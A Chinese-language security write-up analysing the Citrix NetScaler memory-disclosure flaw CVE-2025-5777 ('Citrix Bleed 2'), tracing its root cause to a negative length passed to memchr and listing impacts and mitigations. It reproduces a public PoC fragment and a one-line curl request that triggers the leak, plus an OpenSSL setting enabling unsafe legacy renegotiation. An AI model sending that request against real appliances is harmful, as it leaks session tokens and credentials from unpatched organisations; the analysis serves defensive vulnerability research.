1. 简述
2025年6月17日,Citrix 官方公开修复了两个 CVE 漏洞:CVE-2025-5349和CVE-2025-5777。其中,CVE-2025-5349漏洞的CVSS v4.0 评分为8.7,CVE-2025-5777漏洞的 CVSS v4.0 评分为9.3。
本篇文章将对CVE-2025-5777漏洞的成因进行分析。
官方对CVE-2025-5777漏洞的描述为:
Insufficient input validation leading to memory overread.
由此可以得知,该漏洞应该是一个内存泄露漏洞。
受影响的版本信息如下所示:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-43.56
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-58.32
NetScaler ADC 13.1-FIPS and NDcPP BEFORE 13.1-37.235-FIPS and NDcPP
NetScaler ADC 12.1-FIPS BEFORE 12.1-55.328-FIPS
在部分文章中,把该漏洞称为Citrix Bleed 2 漏洞,这让我们想到了 2023 年的Citrix Bleed(CVE-2023-4966)漏洞。
2. CVE-2023-4966回顾
下面我们简单的回顾一下CVE-2023-4966[1]漏洞。
CVE-2023-4966 漏洞的根本原因在于对 snprintf 函数返回值的误用。相关的漏洞代码如下所示:
want_to_write_len =snprintf(
print_temp_rule,
0x10000,
(unsignedint)"......https://%.*s/oauth/idp/userinfo......",
......
hostname);
authv2_json_resp =1;
if((unsignedint)ns_vpn_send_response(a1, 0x100040LL, print_temp_rule, want_to_write_len))
{
问题在于,snprintf 返回的并非实际写入缓冲区的长度,而是理论上需要写入的字符总长度。在未对 hostname 长度进行有效限制的情况下,虽然实际写入 print_temp_rule 的数据长度不会超过 0x10000,但返回值 want_to_write_len 却有可能超过该值。
随后,ns_vpn_send_response 在构造 Web 响应时,直接使用了 want_to_write_len 作为长度参数。这种错误的长度使用,导致了超过 print_temp_rule 实际分配范围的内存被泄露到响应中,从而形成信息泄露漏洞。
简而言之,print_temp_rule 的最大容量为 0x10000,而 want_to_write_len 却可能远超该限制,最终导致了超出缓冲区的数据被意外泄露。
3. CVE-2025-5777分析
前期工作
要对 Citrix 进行漏洞分析,有哪些前提工作,在之前的文章[2]中都有讲过,这里不详细讲解,只列一个流程:
-
使用正版 Citrix 或者使用临时 Crack 方案激活 Citrix。 -
配置 Citrix Gateway 或者 Citrix ADC。(证书是必选项,所以需要创建一个 HTTPS 证书) -
要调试nsppe,需要运行命令: pb_policy -h nothing。 -
gdbserver 目前没有使用的方法,只能使用 gdb。没有插件,可以使用 GPT 临时写插件。gdb 也只能在虚拟机的 console 中运行,在 ssh 中运行会影响程序的正常运行。所以 Citrix 虚拟机建议配置个串口。
漏洞分析
下面,我们回到CVE-2025-5777漏洞,来分析一下 Citrix Bleed 2 的漏洞成因。距离漏洞公布已经过去快一个月了,网上也有很多该漏洞的 PoC 公布[3],如下所示:
async def fetch(session, url):
full_url =f"{url}/p/u/doAuthentication.do"
try:
async with session.post(full_url, data="login", proxy=proxy, ssl=False)as response:
if verbose:
print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
if response.status ==200:
content = await response.read()
if verbose:
print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
extract_initial_value(content)
else:
if verbose:
print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
except aiohttp.ClientConnectorError ase:
print(f"{Fore.RED}[!] Connection Error: {e}")
except Exception ase:
print(f"{Fore.RED}[!] Unexpected Error: {e}")
bash 版的简化 PoC 如下所示:
$ OPENSSL_CONF=custom-openssl.cnf curl -v https://test.citrix.com/p/u/doAuthentication.do -d 'login'
这里说个题外话,由于OpenSSL 从 3.x 版本开始,将安全重协商设为强制要求,不再默认允许不安全的旧协议重协商(legacy renegotiation)。而我测试的 Citrix ADC 不支持RFC 5746 安全重协商(Secure Renegotiation),因此需要通过配置临时开启旧式重协商支持。
使用OPENSSL_CONF环境变量来加载自己的 openssl 配置,配置信息如下所示:
openssl_conf = openssl_init
[openssl_init]
ssl_conf = ssl_sect
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
Options = UnsafeLegacyServerConnect
泄露的信息位于:InitialValue标签中,如下所示:
有了 PoC,并且能测试成功后,我们可以对该漏洞的成因进行分析了。接下来就是对Citrix 的 nsppe 进行分析。
通过响应内容进行字符串搜索,能定位到函数ns_authv2_login_fail_response中的以下代码:
经过分析,user_struct应该是aaa_info结构体。其中(uint8)user_struct为 username 的长度,(char *)(user_struct + 0x38)为 username 字符串的值。
通过下断点调试,可以确定该 sprint 为泄露点。在 POST 数据为:login时,user_struct + 0x38的值就是泄露出的内存值。以下为 gdb 插件代码:
# 输出 rbx 地址、rcx 长度、r8 指向的字符串
break *0x11111
commands
printf "[0x7087A0] rbx (address) = 0x%lx\n", $rbx
printf "[0x7087A0] rcx (length) = %ld\n", $rcx
printf "[0x7087A0] r8 (string) = \"%s\"\n", (char *)$r8
continue
end
但是进一步分析发现,username 的最大长度也就只有0x7F,不至于造成溢出/越界,而是 username 字段本身的值就是泄露的内存值,那么是从哪泄露出来呢?
使用 gdb 的backtrace,再加上 IDA静态分析,我定位到ns_get_username_password函数的以下代码:
上述代码的逻辑流程如下所示:
-
首先对 POST 数据的 key 进行匹配,即提取 =符号前的内容。 -
根据提取到的 key 进行判断:若 key == "login",则将对应的 value 写入aaa_info->username中。 -
对于 value,程序会继续查找 &符号进行分隔处理,并对数据执行urldecode解码操作。
该漏洞的根本原因出现在 key 匹配的逻辑中。假设传入的 POST 数据为:login。此时由于数据中不存在 = 符号,v17 被赋值为整个 POST 数据的长度,即 5。而后续计算中,v19 = v17 - v17 - 1 = -1。虽然 v19 的类型为 int,这是一个有符号类型,但问题出现在后续的使用中。
在代码 v56 = _wrap_memchr(v52, '&', v19); 中,memchr 函数的原型为:
void*memchr(constvoid*s,int c, size_t n);
可以看到,memchr 的第三个参数类型为 size_t,属于无符号整型。当 v19 = -1 被传入该参数时,隐式类型转换将其转换为无符号数,即 0xFFFFFFFFFFFFFFFF(在 64 位系统下)。
memchr 的功能是:从地址 s 开始,最多在长度为 n 的内存区域内查找字符 c。由于此处 n 被解释为一个极大的正数,memchr 将在几乎整个地址空间内进行查找,导致越界访问。
但是,却存在一个限制点,在 urldecode 的逻辑中,限制了最大长度为0x7F,这就导致我们最多只能泄露出0x7F 的数据。
在后续的流程中,由于post_length=v19 - len(value),并且post_length为 int 型,所以post_length < 0,这就进入到错误流程,进入到了ns_send_vpnerr_redirect函数,如下所示:
LABEL_10:
v202 =1;
goto LABEL_11;
......
LABEL_11:
post_data =&v52[v19 +1];
v13 = post_length;
if( post_length <=0)
goto LABEL_269;
......
LABEL_269:
if( v202 )
goto user_error;
......
user_error:
ns_send_vpnerr_redirect(a1,0,(__int64)v10); // v10为aaa_info 结构体,而泄露出的内存,已经复制到aaa_info->username 中
// ns_send_vpnerr_redirect函数
......
ns_authv2_login_fail_response(a1,(constchar*)aaa_info);
直接危害
敏感信息泄露
-
用户登录凭证、会话 Cookie 可能被窃取。 -
服务器的私钥(如SSL证书密钥)可能被泄露,导致所有加密通信被破解。 -
内存中的其他数据
长期潜伏性
- 无痕攻击
:漏洞利用不会触发常规日志警报,不存在恶意字符,管理员难以察觉是否被入侵。 - 被动攻击
:攻击者无需主动入侵服务器,只需发送恶意请求即可“偷窥”内存。
规模化影响
- 广泛传播
:Citrix 系列产品(包括 Citrix ADC、Citrix Gateway 等)被广泛部署于各类企业和政府机构的核心基础设施中,涵盖远程办公、VPN 接入、身份认证与负载均衡等场景,受影响范围广泛,波及大量关键信息系统。 - 连锁反应
:即使漏洞被及时修复,若攻击者已在漏洞披露前窃取了用户凭证、会话令牌或其他敏感数据,这些信息仍可能被用于后续攻击。因此,相关账户的密码、凭证及会话数据必须全面更换与清理,才能彻底消除隐患。
间接危害
- 企业信任受损
:Citrix 产品作为广泛用于企业办公、远程接入的基础设施,其漏洞将直接导致用户对其安全性的信任下降,影响品牌声誉和市场口碑。 - 经济成本增加
:受漏洞影响的企业需紧急修复系统、重新部署并更换相关证书,通知终端用户,甚至面临监管部门的处罚,产生高额的人力与经济成本。 - 衍生安全威胁
:泄露的凭据或密钥可能被用于发起针对 Citrix 用户的中间人攻击(MITM)、伪造钓鱼门户页面等更严重的二次攻击,扩大影响范围,进一步危害企业信息安全。
应对措施
- 紧急修复
:立即将 Citrix ADC / Gateway 升级至官方发布的已修复版本,或根据官方安全公告,应用临时缓解措施(如限制特定访问路径或关闭相关功能模块)。 - 会话与凭据轮换
:强制失效所有活跃会话,通知相关用户重置登录凭据,防止已泄露的会话或身份信息被进一步滥用。 - 深入排查
:使用 Citrix 官方或第三方工具,检查设备是否存在异常访问记录或数据泄露迹象,特别关注内存中潜在的敏感信息残留。
4. 总 结
Citrix Bleed 漏洞的危害在于: 1. 利用门槛极低(攻击者只需构造特定请求即可触发漏洞,目前已有大量公开 PoC); 2. 危害核心数据(可直接泄露内存中的敏感信息,如 Cookie、Session Token 等身份凭据); 3. 隐蔽性强(无需认证即可利用,难以被日志检测发现)。
该漏洞再次揭示了企业在边界安全设备(如 VPN、网关等)领域的薄弱环节,引发了行业对身份凭据泄露、零信任架构等话题的更广泛关注。
5. 参考链接
-
https://bestwing.me/CVE-2023-4966-Citrix-memory-leak.html -
https://paper.seebug.org/2049/ -
https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/

